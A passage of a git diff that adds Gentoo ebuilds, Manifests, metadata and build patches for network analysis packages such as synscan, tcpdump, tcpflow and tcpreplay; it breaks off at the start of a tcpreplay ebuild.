+diff -ur synscan-5.01.orig/Makefile.in synscan-5.01/Makefile.in
+--- synscan-5.01.orig/Makefile.in 2009-03-31 23:22:28.000000000 +0300
++++ synscan-5.01/Makefile.in 2010-06-14 00:32:19.000000000 +0300
+@@ -5,7 +5,7 @@
+
+ CC = @CC@
+ CFLAGS=@CFLAGS@ @DEFS@ -Wall
+-LDFLAGS = @LDFLAGS@
++LIBS = @LIBS@
+
+ OBJS_MINIMAL = \
+ common.o net.o obuf.o
+@@ -56,13 +56,13 @@
+ solaris-sparc-gcc:
+ $(MAKE) $(PROJ) \
+ CFLAGS="$(CFLAGS) -DBSD_COMP -DSOLARIS" \
+- LDFLAGS="$(LDFLAGS) -lsocket -lresolv -lnsl"
++ LIBS="$(LIBS) -lsocket -lresolv -lnsl"
+
+ synscan: synscan.c synscan.h ${OBJS}
+- ${CC} ${CFLAGS} $< ${OBJS} ${LDFLAGS} -o synscan
++ ${CC} ${LDFLAGS} ${CFLAGS} $< ${OBJS} ${LIBS} -o synscan
+
+ sslog: sslog.c ${OBJS}
+- ${CC} ${CFLAGS} $< ${OBJS} ${LDFLAGS} -o sslog
++ ${CC} ${LDFLAGS} ${CFLAGS} $< ${OBJS} ${LIBS} -o sslog
+
+ install:
+ mkdir -p -m 755 ${bindir}
diff --git a/net-analyzer/synscan/metadata.xml b/net-analyzer/synscan/metadata.xml
new file mode 100644
index 000000000000..c2d865517c00
--- /dev/null
+++ b/net-analyzer/synscan/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>ssuominen@gentoo.org</email>
+ <name>Samuli Suominen</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/synscan/synscan-5.01.ebuild b/net-analyzer/synscan/synscan-5.01.ebuild
new file mode 100644
index 000000000000..b4a11c7ca7df
--- /dev/null
+++ b/net-analyzer/synscan/synscan-5.01.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A fast asynchronous half-open TCP portscanner"
+HOMEPAGE="http://www.digit-labs.org/files/tools/synscan/"
+SRC_URI="http://www.digit-labs.org/files/tools/${PN}/releases/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="kernel_FreeBSD kernel_linux"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-build.patch
+ eautoconf
+}
+
+src_compile() {
+ local _target
+ use kernel_FreeBSD && _target=freebsd
+ use kernel_linux && _target=linux
+
+ emake ${_target}
+}
+
+src_install() {
+ dobin synscan sslog
+ dodoc AUTHORS README
+}
diff --git a/net-analyzer/syweb/Manifest b/net-analyzer/syweb/Manifest
new file mode 100644
index 000000000000..b96ba4278772
--- /dev/null
+++ b/net-analyzer/syweb/Manifest
@@ -0,0 +1 @@
+DIST syweb-0.65.tar.gz 37052 SHA256 b37492b7180f27731b7ed3241f9e39d57633d10d0af3f9a19b52ed3df33595a2 SHA512 ca4a4ad6f48dc4ff32c11979d6f34ae6f87462fd295780cdef6609ca425d21698ff43e2c5ffbf43a1f1ecccef4718891992160d1fbc1325726c474d113f824b2 WHIRLPOOL 5b5edb41e65da5e53a33d32a5320dafcc540b7b5770c0f42213684cdaef5d1dce4a2310d11e8b62c1371ad62083c2be9ffff3d5c405e3ca331d30e777b3f338e
diff --git a/net-analyzer/syweb/files/postinstall-en.txt b/net-analyzer/syweb/files/postinstall-en.txt
new file mode 100644
index 000000000000..291d66d4e381
--- /dev/null
+++ b/net-analyzer/syweb/files/postinstall-en.txt
@@ -0,0 +1,8 @@
+Test your syweb installation by pointing your browser to the URL
+http://${VHOST_HOSTNAME}/${VHOST_APPDIR}/configtest.php
+
+If you don't want any user interaction, move index_noui.php to index.php.
+
+syweb expects a <host>/*.rrd style directory structure under
+/var/lib/symon/rrds. Customize ${MY_INSTALLDIR}/setup.inc
+if this is incorrect for your setup.
diff --git a/net-analyzer/syweb/files/reconfig b/net-analyzer/syweb/files/reconfig
new file mode 100644
index 000000000000..79324cc1c7d0
--- /dev/null
+++ b/net-analyzer/syweb/files/reconfig
@@ -0,0 +1,20 @@
+#!/bin/bash
+
+die() {
+ echo "#####"
+ echo $1
+ echo "#####"
+ exit 1
+}
+
+sed_var() {
+ sed -i "/\\$symon['$1']/s|=.*|='$2';|" "${MY_INSTALLDIR}"/setup.inc \
+ || die "sed $1 failed"
+}
+
+[[ $1 == "clean" ]] && exit 0
+
+sed_var rrdtool_path /usr/bin/rrdtool
+sed_var cache_dir "${VHOST_ROOT}"/syweb/cache
+sed_var host_tree /var/lib/symon/rrds
+sed_var layout_dir "${VHOST_ROOT}"/syweb
diff --git a/net-analyzer/syweb/metadata.xml b/net-analyzer/syweb/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/syweb/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/syweb/syweb-0.65.ebuild b/net-analyzer/syweb/syweb-0.65.ebuild
new file mode 100644
index 000000000000..c4c1824d8cf8
--- /dev/null
+++ b/net-analyzer/syweb/syweb-0.65.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+WEBAPP_MANUAL_SLOT="yes"
+inherit webapp
+
+DESCRIPTION="Web frontend to symon"
+HOMEPAGE="http://www.xs4all.nl/~wpd/symon/"
+SRC_URI="http://www.xs4all.nl/~wpd/symon/philes/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~amd64 ~sparc ~x86"
+
+RDEPEND="virtual/httpd-php
+ net-analyzer/rrdtool"
+
+need_httpd_cgi
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+ webapp_src_preinst
+
+ dodoc CHANGELOG README
+ docinto layouts
+ dodoc symon/*.layout
+
+ dodir "${MY_HOSTROOTDIR}"/syweb/cache
+ insinto "${MY_HOSTROOTDIR}"/syweb
+ doins symon/hifn_test.layout
+ webapp_serverowned "${MY_HOSTROOTDIR}"/syweb/cache
+ insinto "${MY_HTDOCSDIR}"
+ doins -r htdocs/syweb/*
+ webapp_configfile "${MY_HTDOCSDIR}"/setup.inc
+ webapp_postinst_txt en "${FILESDIR}"/postinstall-en.txt
+ webapp_hook_script "${FILESDIR}"/reconfig
+
+ webapp_src_install
+}
diff --git a/net-analyzer/tcpdump/Manifest b/net-analyzer/tcpdump/Manifest
new file mode 100644
index 000000000000..dd684034e061
--- /dev/null
+++ b/net-analyzer/tcpdump/Manifest
@@ -0,0 +1 @@
+DIST tcpdump-4.7.4.tar.gz 1153657 SHA256 6be520269a89036f99c0b2126713a60965953eab921002b07608ccfc0c47d9af SHA512 5660d82abdf7327c3e1717db519b2c98cd217fff17440019f3ccf166b3cb28ab1c1850b7c42f8c6ee38110838bb8a4a10cd394f25123783bb3d58e1f350ef326 WHIRLPOOL 7c320adf64bf5ff57af7f98fec9919ba3c07056fbbbe1c8a87ac73ecb767ce245c4963e69e24ff71704be7b42dc604992f261173a34b12a87cd0eab153762816
diff --git a/net-analyzer/tcpdump/metadata.xml b/net-analyzer/tcpdump/metadata.xml
new file mode 100644
index 000000000000..785877034dc5
--- /dev/null
+++ b/net-analyzer/tcpdump/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+ <flag name='smi'>Build with <pkg>net-libs/libsmi</pkg> to load MIBs on the fly to decode SNMP packets</flag>
+ <flag name='drop-root'>Drop privileges to tcpdump:tcpdump when run as root</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/tcpdump/tcpdump-4.7.4.ebuild b/net-analyzer/tcpdump/tcpdump-4.7.4.ebuild
new file mode 100644
index 000000000000..ef06ef573f6b
--- /dev/null
+++ b/net-analyzer/tcpdump/tcpdump-4.7.4.ebuild
@@ -0,0 +1,93 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic toolchain-funcs user
+
+DESCRIPTION="A Tool for network monitoring and data acquisition"
+HOMEPAGE="http://www.tcpdump.org/"
+SRC_URI="http://www.tcpdump.org/release/${P}.tar.gz
+ http://www.jp.tcpdump.org/release/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ~arm64 hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~arm-linux ~x86-linux"
+IUSE="+drop-root smi ssl ipv6 samba suid test"
+
+RDEPEND="
+ drop-root? ( sys-libs/libcap-ng )
+ net-libs/libpcap
+ smi? ( net-libs/libsmi )
+ ssl? ( >=dev-libs/openssl-0.9.6m )
+"
+DEPEND="
+ ${RDEPEND}
+ drop-root? ( virtual/pkgconfig )
+ test? (
+ || ( app-arch/sharutils sys-freebsd/freebsd-ubin )
+ dev-lang/perl
+ )
+"
+
+pkg_setup() {
+ if use drop-root || use suid; then
+ enewgroup tcpdump
+ enewuser tcpdump -1 -1 -1 tcpdump
+ fi
+}
+
+src_configure() {
+ # tcpdump needs some optimization. see bug #108391
+ # but do not replace -Os
+ filter-flags -O[0-9]
+ has -O? ${CFLAGS} || append-cflags -O2
+
+ filter-flags -finline-functions
+
+ if use drop-root; then
+ append-cppflags -DHAVE_CAP_NG_H
+ export LIBS=$( $(tc-getPKG_CONFIG) --libs libcap-ng )
+ fi
+
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable samba smb) \
+ $(use_with drop-root chroot '') \
+ $(use_with smi) \
+ $(use_with ssl crypto "${EPREFIX}/usr") \
+ $(usex drop-root "--with-user=tcpdump" "")
+}
+
+src_test() {
+ if [[ ${EUID} -ne 0 ]] || ! use drop-root; then
+ sed -i -e '/^\(espudp1\|eapon1\)/d;' tests/TESTLIST || die
+ emake check
+ else
+ ewarn "If you want to run the test suite, make sure you either"
+ ewarn "set FEATURES=userpriv or set USE=-drop-root"
+ fi
+}
+
+src_install() {
+ dosbin tcpdump
+ doman tcpdump.1
+ dodoc *.awk
+ dodoc CHANGES CREDITS README.md
+
+ if use suid; then
+ fowners root:tcpdump /usr/sbin/tcpdump
+ fperms 4110 /usr/sbin/tcpdump
+ fi
+}
+
+pkg_preinst() {
+ if use drop-root || use suid; then
+ enewgroup tcpdump
+ enewuser tcpdump -1 -1 -1 tcpdump
+ fi
+}
+
+pkg_postinst() {
+ use suid && elog "To let normal users run tcpdump add them into tcpdump group."
+}
diff --git a/net-analyzer/tcpdump/tcpdump-9999.ebuild b/net-analyzer/tcpdump/tcpdump-9999.ebuild
new file mode 100644
index 000000000000..17b98957aafb
--- /dev/null
+++ b/net-analyzer/tcpdump/tcpdump-9999.ebuild
@@ -0,0 +1,92 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic git-r3 toolchain-funcs user
+
+DESCRIPTION="A Tool for network monitoring and data acquisition"
+HOMEPAGE="http://www.tcpdump.org/"
+EGIT_REPO_URI="https://github.com/the-tcpdump-group/tcpdump"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS=""
+IUSE="+drop-root smi ssl ipv6 samba suid test"
+
+RDEPEND="
+ drop-root? ( sys-libs/libcap-ng )
+ net-libs/libpcap
+ smi? ( net-libs/libsmi )
+ ssl? ( >=dev-libs/openssl-0.9.6m )
+"
+DEPEND="
+ ${RDEPEND}
+ drop-root? ( virtual/pkgconfig )
+ test? (
+ || ( app-arch/sharutils sys-freebsd/freebsd-ubin )
+ dev-lang/perl
+ )
+"
+
+pkg_setup() {
+ if use drop-root || use suid; then
+ enewgroup tcpdump
+ enewuser tcpdump -1 -1 -1 tcpdump
+ fi
+}
+
+src_configure() {
+ # tcpdump needs some optimization. see bug #108391
+ # but do not replace -Os
+ filter-flags -O[0-9]
+ has -O? ${CFLAGS} || append-cflags -O2
+
+ filter-flags -finline-functions
+
+ if use drop-root; then
+ append-cppflags -DHAVE_CAP_NG_H
+ export LIBS=$( $(tc-getPKG_CONFIG) --libs libcap-ng )
+ fi
+
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable samba smb) \
+ $(use_with drop-root chroot '') \
+ $(use_with smi) \
+ $(use_with ssl crypto "${EPREFIX}/usr") \
+ $(usex drop-root "--with-user=tcpdump" "")
+}
+
+src_test() {
+ if [[ ${EUID} -ne 0 ]] || ! use drop-root; then
+ sed -i -e '/^\(espudp1\|eapon1\)/d;' tests/TESTLIST || die
+ emake check
+ else
+ ewarn "If you want to run the test suite, make sure you either"
+ ewarn "set FEATURES=userpriv or set USE=-drop-root"
+ fi
+}
+
+src_install() {
+ dosbin tcpdump
+ doman tcpdump.1
+ dodoc *.awk
+ dodoc CHANGES CREDITS README.md
+
+ if use suid; then
+ fowners root:tcpdump /usr/sbin/tcpdump
+ fperms 4110 /usr/sbin/tcpdump
+ fi
+}
+
+pkg_preinst() {
+ if use drop-root || use suid; then
+ enewgroup tcpdump
+ enewuser tcpdump -1 -1 -1 tcpdump
+ fi
+}
+
+pkg_postinst() {
+ use suid && elog "To let normal users run tcpdump add them into tcpdump group."
+}
diff --git a/net-analyzer/tcpflow/Manifest b/net-analyzer/tcpflow/Manifest
new file mode 100644
index 000000000000..155045d6012c
--- /dev/null
+++ b/net-analyzer/tcpflow/Manifest
@@ -0,0 +1,3 @@
+DIST tcpflow-1.3.0.tar.gz 220055 SHA256 bd150e432292419b16af45fa951254b19d830709a1c931032ed475049af0b040 SHA512 4812bb4060535f6258496fec1fa5d9489e2832aa342ebb6f00e0717468d74463761637d5198951401d115f6d9c985475f56a435229070fa30f4fbc581f0c5587 WHIRLPOOL 98f50ad1f4882ce3d22d22975b646f48dac12833654d6acbc272626a1cb0e3b262a4e68236bf39073ef7602fcc7cb43efb9e4bd2b3668dcc7cb564af90122ab8
+DIST tcpflow_1.4.4+repack1-3.debian.tar.xz 12244 SHA256 e006b5c6288bbc46e01a8488f7bf448ddd97ac454fe906764ddc3c03696b1a4b SHA512 720f080e2ebb481d64c05b7f4629fb25d6a5c069ce7901959de1f5ad38af0b68ae51469d1df070021a21154e8cec960e8b077f6235e1eb6a476bae252627fd3a WHIRLPOOL 632047fad5f439c78c1d8fe6e39f97058073ac5ff707ff5719372a803e1ff01145202bb894f49e6ad9861b255a0ef04be7fefd76f2c4d34afc2d2c99e41d66e0
+DIST tcpflow_1.4.4+repack1.orig.tar.gz 525060 SHA256 3269742db7acc51ce0ae8bfbe3dfe536654694e276032555f1e825c6f463711f SHA512 d44d060dc7a373137bacca7d38a782d5059ae8b0aa3d92df221955e4af88413f1bba464132c0a3e04d12005a2f54c6252b59e6608154f7ede0a1d3b8d608c1f1 WHIRLPOOL d5646c6fffec95a68624a20f0ce2f086f03cb28a7df529e68636c28c16bc5ebdd81b5edce769d495209f3eb0fb1167fe3b241912c2497cffd99d4e668406acbd
diff --git a/net-analyzer/tcpflow/metadata.xml b/net-analyzer/tcpflow/metadata.xml
new file mode 100644
index 000000000000..ff0e9e7f0eda
--- /dev/null
+++ b/net-analyzer/tcpflow/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="pcap">Use <pkg>net-libs/libpcap</pkg> for packet capturing</flag>
+ </use>
+ <upstream>
+ <remote-id type="github">simsong/tcpflow</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tcpflow/tcpflow-1.3.0.ebuild b/net-analyzer/tcpflow/tcpflow-1.3.0.ebuild
new file mode 100644
index 000000000000..8f119aacb542
--- /dev/null
+++ b/net-analyzer/tcpflow/tcpflow-1.3.0.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+DESCRIPTION="A tool for monitoring, capturing and storing TCP connections flows"
+HOMEPAGE="https://github.com/simsong/tcpflow"
+SRC_URI="mirror://github/simsong/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-3"
+KEYWORDS="amd64 ~arm ~ppc x86 ~amd64-linux ~x86-linux ~x64-macos ~x86-macos"
+SLOT="0"
+IUSE="test"
+
+RDEPEND="net-libs/libpcap
+ sys-libs/zlib"
+DEPEND="${RDEPEND}
+ test? ( sys-apps/coreutils )"
+
+src_prepare() {
+ sed -i -e 's:`md5 -q \(.*\)`:`md5sum \1 | cut -f1 -d" "`:' tests/*.sh || die
+}
diff --git a/net-analyzer/tcpflow/tcpflow-1.4.4_p3.ebuild b/net-analyzer/tcpflow/tcpflow-1.4.4_p3.ebuild
new file mode 100644
index 000000000000..7cb285e3fa98
--- /dev/null
+++ b/net-analyzer/tcpflow/tcpflow-1.4.4_p3.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A tool for monitoring, capturing and storing TCP connections flows"
+HOMEPAGE="https://github.com/simsong/tcpflow http://packages.qa.debian.org/t/tcpflow.html"
+SRC_URI="
+ mirror://debian/pool/main/t/${PN}/${PN}_${PV/_p*}+repack1.orig.tar.gz
+ mirror://debian/pool/main/t/${PN}/${PN}_${PV/_p*}+repack1-${PV/*_p}.debian.tar.xz
+"
+
+LICENSE="GPL-3"
+KEYWORDS="amd64 ~arm ppc x86 ~amd64-linux ~x86-linux ~x64-macos ~x86-macos"
+SLOT="0"
+IUSE="cairo +pcap test"
+
+RDEPEND="
+ app-forensics/afflib
+ dev-libs/boost
+ dev-libs/openssl
+ net-libs/http-parser
+ pcap? ( net-libs/libpcap )
+ sys-libs/zlib
+ cairo? (
+ x11-libs/cairo
+ )
+"
+DEPEND="
+ ${RDEPEND}
+ test? ( sys-apps/coreutils )
+"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch "${WORKDIR}"/debian/patches/*.patch
+
+ mv -f README{.md,} || die
+
+ sed -i -e 's:`md5 -q \(.*\)`:`md5sum \1 | cut -f1 -d" "`:' tests/*.sh || die
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(usex pcap --enable-pcap=true --enable-pcap=false) \
+ $(usex cairo --enable-cairo=true --enable-cairo=false) \
+ --without-o3
+}
diff --git a/net-analyzer/tcping/Manifest b/net-analyzer/tcping/Manifest
new file mode 100644
index 000000000000..6d4d8b846702
--- /dev/null
+++ b/net-analyzer/tcping/Manifest
@@ -0,0 +1 @@
+DIST tcping-1.3.5.tar.gz 5889 RMD160 918638a346201ccce31c67bdaa01c599135bcd66 SHA1 ecc5fe7fb2f8e86a1fc2d09651310b26fa922c7b SHA256 1ad52e904094d12b225ac4a0bc75297555e931c11a1501445faa548ff5ecdbd0
diff --git a/net-analyzer/tcping/metadata.xml b/net-analyzer/tcping/metadata.xml
new file mode 100644
index 000000000000..0f350e3d4d81
--- /dev/null
+++ b/net-analyzer/tcping/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>xmw@gentoo.org</email>
+ <name>Michael Weber</name>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/tcping/tcping-1.3.5.ebuild b/net-analyzer/tcping/tcping-1.3.5.ebuild
new file mode 100644
index 000000000000..757cf94048a1
--- /dev/null
+++ b/net-analyzer/tcping/tcping-1.3.5.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit toolchain-funcs
+
+DESCRIPTION="Ping implementation that uses the TCP protocol"
+HOMEPAGE="http://www.linuxco.de/tcping/tcping.html"
+SRC_URI="http://www.linuxco.de/tcping/${P}.tar.gz"
+
+LICENSE="LGPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+src_prepare() {
+ sed -e '/^CC=/s:=:?=:' \
+ -e '/^CCFLAGS/s:=:+=:' \
+ -e 's/$(CCFLAGS)/$(CCFLAGS) $(LDFLAGS)/' \
+ -i Makefile || die
+ tc-export CC
+ export CCFLAGS="${CFLAGS}"
+}
+
+src_install() {
+ dobin tcping
+ dodoc README
+}
diff --git a/net-analyzer/tcpreen/Manifest b/net-analyzer/tcpreen/Manifest
new file mode 100644
index 000000000000..32cc9dd23f28
--- /dev/null
+++ b/net-analyzer/tcpreen/Manifest
@@ -0,0 +1 @@
+DIST tcpreen-1.4.4.tar.bz2 187979 SHA256 6b2d712929184f6332d9760c943124873f8e6cb6ecdc2aca8fb793a1bc4c5cf9 SHA512 94496bbb21218b5acc9e76dd4377f92e35b17e03a2d10a7c42177ba5ccbb6aea1b0b54f49d52c5a97456f8cf77685e1c90c27773f4237c33e95f648d4258b786 WHIRLPOOL df77e4348918cedf45f3d7ecf5dd819b7a310c4dbd338fafe785c7076e7561eb98e8b8b34a849985f7ff145a3003b6a829c76824233e586e7cfd72369444a310
diff --git a/net-analyzer/tcpreen/metadata.xml b/net-analyzer/tcpreen/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/tcpreen/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/tcpreen/tcpreen-1.4.4.ebuild b/net-analyzer/tcpreen/tcpreen-1.4.4.ebuild
new file mode 100644
index 000000000000..9072d74ae049
--- /dev/null
+++ b/net-analyzer/tcpreen/tcpreen-1.4.4.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="TCP network re-engineering tool"
+HOMEPAGE="http://www.remlab.net/tcpreen/"
+SRC_URI="http://www.remlab.net/files/${PN}/stable/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE="nls"
+
+DEPEND="nls? ( sys-devel/gettext )"
+
+src_configure() {
+ econf $(use_enable nls)
+}
+
+src_compile() {
+ emake AR="$(tc-getAR)"
+}
+
+DOCS=( AUTHORS NEWS README THANKS TODO )
diff --git a/net-analyzer/tcpreplay/Manifest b/net-analyzer/tcpreplay/Manifest
new file mode 100644
index 000000000000..5b1a684031aa
--- /dev/null
+++ b/net-analyzer/tcpreplay/Manifest
@@ -0,0 +1,2 @@
+DIST tcpreplay-4.0.5.tar.gz 2059744 SHA256 63798c8adc9e5be79467e23593838ce0e617b25938cfce3116feda2630344d80 SHA512 bf0e8e64d9431bbf8379d2578edf0a53e6803dfc06d973c388aa885bcc4f029499dad02aed0ee17b78b5eef178b450b6c0b851b9a52a1ac27dc0e1cb2b83a88d WHIRLPOOL dcb446268956fc5f89d211e0aafa1323a2984c614b0637c7cdefdeaa617e594893397476bb358d1dc58cebc7d185fd4914cb88db97b23286606a7ae133a1ec50
+DIST tcpreplay-4.1.0.tar.gz 2118212 SHA256 ad285b08d7a61ed88799713c4c5d657a7a503eee832304d3a767f67efe5d1a20 SHA512 bfd7a0679dccd86aba7ca5d102665e6feba72bffb1596915985bc50261f9ac10ce56b870e1aa64a33efa79e3bee89b8c66e2c26328fb15d3722a5bc957ea77a2 WHIRLPOOL e6a07495cb07a09f707b3784d15a266c04a7b3d369b7d8eb9d7d5683838accdcc539255ff05f99c2fc8036d045e66f3a250a0c7f1896024c65065a6c6d282b7a
diff --git a/net-analyzer/tcpreplay/files/tcpreplay-4.1.0-enable-pcap_findalldevs.patch b/net-analyzer/tcpreplay/files/tcpreplay-4.1.0-enable-pcap_findalldevs.patch
new file mode 100644
index 000000000000..f45d14cd1da1
--- /dev/null
+++ b/net-analyzer/tcpreplay/files/tcpreplay-4.1.0-enable-pcap_findalldevs.patch
@@ -0,0 +1,19 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -1499,6 +1499,8 @@
+ AC_MSG_WARN(Unable to do tests when cross-compiling)
+ fi
+
++disable_pcap_findalldevs=no
++
+ dnl Allows user to choose which nic to use for testing purposes
+ AC_ARG_WITH(testnic,
+ AC_HELP_STRING([--with-testnic=NIC], [Select which network card to use for testing]),
+@@ -1509,7 +1511,6 @@
+
+ dnl There's a bug in OS X which causes pcap_findalldevs() to make the wifi NIC to disassociate
+ dnl so under OSX we disable the interface list feature
+-disable_pcap_findalldevs=no
+
+ osx_frameworks=no
+ dnl these need to be dynamic based on OS
diff --git a/net-analyzer/tcpreplay/metadata.xml b/net-analyzer/tcpreplay/metadata.xml
new file mode 100644
index 000000000000..4067dd20df33
--- /dev/null
+++ b/net-analyzer/tcpreplay/metadata.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>
+ Tcpreplay is a suite of utilities for UNIX systems for editing and replaying
+ network traffic which was previously captured by tools like tcpdump and
+ ethereal/wireshark. The goal of tcpreplay is to provide the means for
+ providing reliable and repeatible means for testing a variety of network
+ devices such as switches, router, firewalls, network intrusion detection and
+ prevention systems (IDS and IPS).
+</longdescription>
+ <use>
+ <flag name="pcapnav">Enable if you want the jump to byte offset feature via <pkg>net-libs/libpcapnav</pkg></flag>
+ <flag name="tcpdump">Use <pkg>net-analyzer/tcpdump</pkg> for packet decoding feature </flag>
+ </use>
+ <upstream>
+ <remote-id type="github">appneta/tcpreplay</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tcpreplay/tcpreplay-4.0.5-r1.ebuild b/net-analyzer/tcpreplay/tcpreplay-4.0.5-r1.ebuild
new file mode 100644
index 000000000000..80e5d9530765
--- /dev/null
+++ b/net-analyzer/tcpreplay/tcpreplay-4.0.5-r1.ebuild
@@ -0,0 +1,74 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="a suite of utilities for editing and replaying previously captured network traffic"
+HOMEPAGE="http://tcpreplay.appneta.com/"
+LICENSE="BSD GPL-3"
+SRC_URI="mirror://sourceforge/project/${PN}/${PN}/${PV}/${P}.tar.gz"
+
+SLOT="0"
+KEYWORDS="amd64 ~sparc x86"
+IUSE="debug pcapnav +tcpdump"
+
+DEPEND="
+ >=sys-devel/autogen-5.16.2[libopts]
+ dev-libs/libdnet
+ >=net-libs/libpcap-0.9
+ tcpdump? ( net-analyzer/tcpdump )
+ pcapnav? ( net-libs/libpcapnav )
+"
+
+RDEPEND="${DEPEND}"
+
+DOCS=( README docs/{CHANGELOG,CREDIT,HACKING,TODO} )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-4.1.0-enable-pcap_findalldevs.patch
+
+ sed -i \
+ -e '/CFLAGS=/s|-ggdb -std=gnu99|-std=gnu99|g' \
+ -e 's|-O3||g' \
+ -e 's|AM_CONFIG_HEADER|AC_CONFIG_HEADERS|g' \
+ configure.ac || die
+ sed -i \
+ -e 's|#include <dnet.h>|#include <dnet/eth.h>|g' \
+ src/common/sendpacket.c || die
+ sed -i \
+ -e 's|@\([A-Z_]*\)@|$(\1)|g' \
+ -e '/tcpliveplay_CFLAGS/s|$| $(LDNETINC)|g' \
+ -e '/tcpliveplay_LDADD/s|$| $(LDNETLIB)|g' \
+ src/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ # By default it uses static linking. Avoid that, bug 252940
+ econf \
+ $(use_enable debug) \
+ $(use_with pcapnav pcapnav-config /usr/bin/pcapnav-config) \
+ $(use_with tcpdump tcpdump /usr/sbin/tcpdump) \
+ --disable-local-libopts \
+ --enable-dynamic-link \
+ --enable-shared \
+ --with-libdnet \
+ --with-testnic2=lo \
+ --with-testnic=lo
+}
+
+src_test() {
+ if [[ ! ${EUID} -eq 0 ]]; then
+ ewarn "Some tests were disabled due to FEATURES=userpriv"
+ ewarn "To run all tests issue the following command as root:"
+ ewarn " # make -C ${S}/test"
+ make -C test tcpprep || die "self test failed - see ${S}/test/test.log"
+ else
+ make test || {
+ ewarn "Note, that some tests require eth0 iface to be UP." ;
+ die "self test failed - see ${S}/test/test.log" ; }
+ fi
+}
diff --git a/net-analyzer/tcpreplay/tcpreplay-4.1.0-r1.ebuild b/net-analyzer/tcpreplay/tcpreplay-4.1.0-r1.ebuild
new file mode 100644
index 000000000000..1eeb57f5828e
